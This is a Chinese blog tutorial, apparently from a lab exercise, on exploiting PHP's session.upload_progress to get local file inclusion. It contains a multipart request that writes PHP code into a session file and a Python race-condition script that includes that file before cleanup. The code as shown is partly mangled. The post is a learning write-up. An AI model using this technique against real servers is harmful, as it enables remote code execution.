利用session.upload_progress执行文件包含

1.session.upload_progress的作用:

        session.upload_progress最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。

        默认情况下,session.upload_progress是开启的,我们发送一下以下数据包,可见,我在上传文件的同时,POST了一个名为PHP_SESSION_UPLOAD_PROGRESS的字段,其值为。(PHP_SESSION_UPLOAD_PROGRESS是在php.ini里定义的session.upload_progress.name)只要上传包里带上这个键,PHP就会自动启用Session,又因为我在Cookie中设置了PHPSESSID=oupeng,所以Session文件将会自动创建。并且会生成由PHP_SESSION_UPLOAD_PROGRESS和<?php phpinfo(); ?>组成的文件内容。

POST /xss_location/include/session_upload.php HTTP/1.1
Host: 172.16.60.64
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.60.64
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGmgITM0pPCAAzrsA
Cookie: PHPSESSID=oupeng
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.60.64/xss_location/include/session_upload.html
Accept-Language: zh-CN,zh;q=0.9
Connection: close------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"<?php phpinfo(); ?>
------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain<?php phpinfo(); ?>aaaaaaaaaaaaa
------WebKitFormBoundaryGmgITM0pPCAAzrsA--

但是由于有session.upload_progress.cleanup的存在(默认是开启的),session会在被上传之后自动清除。

2.竞争

        为了解决这个问题,我们则需要竞争,在文件被清除前完成利用。所以我用到了一个python脚本。

import io
import requests
import threadingsessid = 'oupeng'def t1(session):while True:f = io.BytesIO(b'a' * 1024 * 50)response = session.post('http://127.0.0.1/include/demo.php',data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},files={'file': ('a.txt', f)},cookies={'PHPSESSID': sessid})def t2(session):while True:response = session.get(f'http://127.0.0.1/include/1.php?file=C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_{sessid}'))print(response.text)with requests.session() as session:t1 = threading.Thread(target=t1, args=(session,))t1.daemon = Truet1.start()t2(session)

按理来说这个脚本是没什么问题的。

代码编写遇到的问题:
第一个问题:编码问题
 UnicodeEncodeError: 'gbk' codec can't encode character '\xe4' in position 82201: illegal multibyte sequence,

        就是在这里的gbk编码可能无法对某些unicode字符进行编码导致报错,所以我在t2进程的response对象设置为utf-8编码

但是发现还是有编码问题:

nicode 编码错误: 'gbk' codec can't encode character '\xe4' in position 82145: illegal multibyte sequence

所以我直接导入了一个sys.stdout模块,这个模块作用就是标准输出,我写的就是标准输出使用utf-8

第二个问题:找不到临时文件

就是在我脚本上面写的路径找不到临时文件

<br />
<b>Warning</b>:  include(C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_oupeng): failed to open stream: No such file or directory in <b>C:\Study\phpstudy\phpstudy_pro\WWW\include\1.php</b> on line <b>2</b><br />
<br />

 不知道是哪一步出了问题,所以我在t1进程打印一下服务器的响应内容,运行后返回的就是200,没有问题。

print(response.text)

然后我想起来php.ini配置文件里面的upload_tmp_dir我配置的是在windows/temp下面,不知道是否需要改成脚本的路径,所以我尝试改了后重新运行。

upload_tmp_dir = "C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp"

 最后是包含成功了。

 

竞争的第二种方法:

除了用脚本竞争,也可以用burpsuite同时开两个intruder进程,一个进程一直上传文件,一个进程用作包含文件,最后也可以完成文件包含。

这是包含的进程

 

 这是上传的进程

 可以发现包含成功了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/51737.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STM32嵌套向量中断控制器—NVIC

NVIC简介&#xff1a; NVIC&#xff0c;即Nested Vectored Interrupt Controller&#xff08;嵌套向量中断控制器&#xff09;&#xff0c;是STM32中的中断控制器。它负责管理和协调处理器的中断请求&#xff0c;是STM32中处理异步事件的重要机制。 NVIC提供了灵活、高效、可扩…

基于ssm的实习课程管理系统/在线课程系统

实习课程管理系统 摘 要 互联网的快速发展&#xff0c;给各行各业带来不同程度的影响&#xff0c;悄然改变人们的生活、工作方式&#xff0c;也倒逼很多行业创新和变革&#xff0c;以适应社会发展的变化。人们为了能够更加方便地管理项目任务&#xff0c;实习课程管理系统被人们…

python-变量声明、数据类型、标识符

一.变量 1.什么是变量 为什么需要变量呢&#xff1f; 一个程序就是一个世界&#xff0c;不论使用哪种高级程序语言编写代码&#xff0c;变量都是其程序的基本组成单位。如下图所示的sum和sub都是变量。 变量的定义&#xff1a; 变量相当于内存中一个数据存储空间的表示&#…

C语言刷题日记(附详解)(3)

一、选填部分 第一题: 以下的变量定义语句中&#xff0c;合法的是( ) A. byte a 128; B. boolean b null; C. long c 123L; D. float d 0.9239; 思路提示&#xff1a;观察选项时不要马虎&#xff0c;思考一下各种类型变量的取值范围&#xff0c;以及其初始化的形式是…

【并集查找 图论】2421. 好路径的数目

本文涉及知识点 C图论 LeetCode2421. 好路径的数目 给你一棵 n 个节点的树&#xff08;连通无向无环的图&#xff09;&#xff0c;节点编号从 0 到 n - 1 且恰好有 n - 1 条边。 给你一个长度为 n 下标从 0 开始的整数数组 vals &#xff0c;分别表示每个节点的值。同时给你…

@antv/g6 业务场景:流程图

1、流程图是流经一个系统的信息流、观点流或部件流的图形代表。在企业中&#xff0c;流程图主要用来说明某一过程。这种过程既可以是生产线上的工艺流程&#xff0c;也可以是完成一项任务必需的管理过程。业务场景流程图如下&#xff1a; 2、绘制流程图的 Tips 流程图一般是用…

Vue -- 总结 02

Vue脚手架 安装Vue脚手架&#xff1a; 在cmd中安装(输入):npm install -g vue/cli 如果下载慢或下载不了&#xff0c;可以安装(cmd输入)淘宝镜像:npm config set registry https://registry.npmmirror.com 用命令创建Vue项目 在要创建的vue项目的文件夹里输入 cmd 回车 创…

基于Java的心灵治愈交流平台

你好呀&#xff0c;我是计算机学姐码农小野&#xff01;如果有相关需求&#xff0c;可以私信联系我。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;Java语言&#xff1b;Spring Boot框架 工具&#xff1a;IDEA/Eclipse、Navicat 系统展示 首页 心…

学习资料销售平台小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;资料类型管理&#xff0c;学习资料管理&#xff0c;订单管理&#xff0c;系统管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;学习资料&#xff0c;购物车&#xff0c;…

QT实现电子相册

使用带有UI界面的QWidget实现电子相册 1、实现功能 1、定时器的使用&#xff0c;在当前页面的停止总时长。 2、显示当前时间 3、图片的上一张与下一张 4、图片的显示 5、进度展示、一共十张图片、进度条的初始值为10。 2、widget.h #ifndef WIDGET_H #define WIDGET_H#i…

【微信小程序】SpringBoot集成微信小程序(多小程序集成)

SpringBoot集成微信小程序 前言一、前置工作1、获取appId和appSecret核心参数 二、SpringBoot集成微信小程序1、引入pom依赖2、yml配置3、java代码文件3.1、Properties 配置类3.2 Configuration 服务类 4、使用示例4.1、获取登录后的session信息&#xff1a;openId4.2、获取当前…

举办知识竞赛是线上好还是线下好

举办知识竞赛线上和线下各有优势&#xff0c;选择哪种方式取决于具体的需求和条件。 线上举办知识竞赛的优缺点&#xff1a; 优点&#xff1a; 便捷性&#xff1a;线上竞赛不受地域限制&#xff0c;参与者可以在任何有网络的地方参与。 选手数&#xff1a;可以同时满足人数较…

数据丢失?四款数据恢复免费版分享

作为一个办公室的文案策划人员&#xff0c;我深知数据的重要性。电脑里不仅有我辛辛苦苦撰写的文案&#xff0c;还有那些珍贵的创意灵感和客户资料。然而&#xff0c;就在上周&#xff0c;我因为一次不小心的误操作&#xff0c;把一个重要的文件夹给删除了。那一刻&#xff0c;…

基于web网上十字绣专营店设计与实现

&#xff08;一&#xff09;业务流程分析 没有实现网上销售的十字绣专营店&#xff0c;即店面销售方式&#xff0c;店面需要专人看管&#xff0c;而且销售范围有限&#xff0c;面向的对象很受限制&#xff0c;销售情况需要店主手工记录到账簿&#xff0c;以备利润汇总&#xf…

黄力医生谈健康:掌握这几个秘诀,帮你远离冠心病困扰!

随着生活水平的提高&#xff0c;人们的饮食结构和生活习惯发生了显著变化&#xff0c;这使得冠心病的患病率呈现出逐年上升的趋势&#xff0c;且发病年龄也越来越年轻化。面对这一严峻的健康挑战&#xff0c;提高对冠心病的认识&#xff0c;及早进行干预显得尤为重要。今天&…

HarmonyOS鸿蒙开发:在线短视频流畅切换最佳实践

简介 为了帮助开发者解决在应用中在线短视频快速切换时容易出现快速切换播放时延过长的问题&#xff0c;将提供对应场景的解决方案。 该解决方案使用&#xff1a; 视频播放框架AVPlayer和滑块视图容器Swiper进行短视频滑动轮播切换。绘制组件XComponent的Surface类型动态渲染…

10 个最佳网络爬虫工具和软件,零基础入门到精通,收藏这一篇就够了

据 Strait Research 称&#xff0c;数据提取的需求正在不断增加&#xff0c;预计到 2031 年将达到 18 亿美元。 使用最好的网络爬行工具启动您的数据提取项目&#xff0c;并告别烦人的爬行头痛。我们研究和测试了数百种免费和付费软件&#xff0c;然后为您提出了十种最佳网络爬…

JVM 内存参数

文章目录 引言I JVM基础知识Java 语言是解释型的OpenJDK和Sun/Oracle JDK和hotspot的关系JDK、JRE、JVM 之间的关系JVM基础功能JVM组成JIT:Just In Time CompilerJVM内存区域JVM运行时数据区JVM 堆内存布局II JVM 内存参数常用参数JIT编译参数GC信息打印GC参数III 例子引言 J…

disk manager操作教程 如何使用Disk Manager组件 Mac如何打开ntfs格式文件

macOS系统有一个特别明显的弱点&#xff0c;即不能对NTFS格式磁盘写入数据。想要适合Mac系统使用来回转换磁盘格式又十分麻烦&#xff0c;这该怎么办呢&#xff1f;Tuxera ntfs for mac作为一款Mac完全读写软件&#xff0c;大家在安装该软件后&#xff0c;能充分使用它的磁盘管…

centos安装docker并配置加速器

docker安装与卸载&#xff1a; 1、检查当前是否安装docker yum list installed | grep docker2、卸载docker 根据yum list installed | grep docker查询出来的内容&#xff0c;逐个进行删除 yum remove docker.x86 64 -y3、启动与关闭docker 4、删除/etc/docker文件夹 如果…